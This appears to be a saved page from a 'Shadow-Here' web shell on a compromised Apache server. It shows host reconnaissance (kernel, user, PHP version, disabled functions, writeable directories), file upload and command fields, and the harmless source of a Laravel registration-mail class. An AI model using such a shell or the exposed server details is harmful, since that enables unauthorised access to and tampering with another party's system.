Shadow-Here


Server : Apache
System : Linux methusalix2 3.16.0-11-amd64 #1 SMP Debian 3.16.84-1 (2020-06-09) x86_64
User : hios ( 1437)
PHP Version : 5.6.40-0+deb8u12
Disable Function : proc_close,proc_open,dl,shell_exec,passthru
Directory :  /home/priorityservice-dev.1697609569/laravel/app/Mail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :
Current File : //home/priorityservice-dev.1697609569/laravel/app/Mail/SuccessMail.php
<?php

namespace App\Mail;

use App\Models\Customer;
use App\Models\Package;
use App\Models\Registration;
use Illuminate\Bus\Queueable;
use Illuminate\Mail\Mailable;
use Illuminate\Queue\SerializesModels;
use Illuminate\Contracts\Queue\ShouldQueue;
use Config;
use App;

class SuccessMail extends Mailable
{
    use Queueable, SerializesModels;

    /**
     * The customer instance.
     *
     * @var Customer
     */
    protected $customer;

    protected $registration;

    protected $package;

    /**
     * Create a new message instance.
     *
     * @return void
     */
    public function __construct($customer, $registration, $package)
    {
        $this->customer = $customer;
        $this->registration = $registration;
        $this->package = $package;
    }

    /**
     * Build the message.
     *
     * @return $this
     */
    public function build()
    {
        if(env('APP_ENV', 'production') == 'local') {
            $subject = 'DEV: New Guaranteed Plus Registration';
        }
        else {
            $subject = 'New Guaranteed Plus Registration';
        }

        return $this->from('app@guaranteedplus.webasto.com')
        ->subject($subject)
        ->view('mail.success')
        ->with([
            'customer' => $this->customer->toArray(),
            'registration' => $this->registration,
            'package' => $this->package->toArray()
            ]);
    }
}

Samx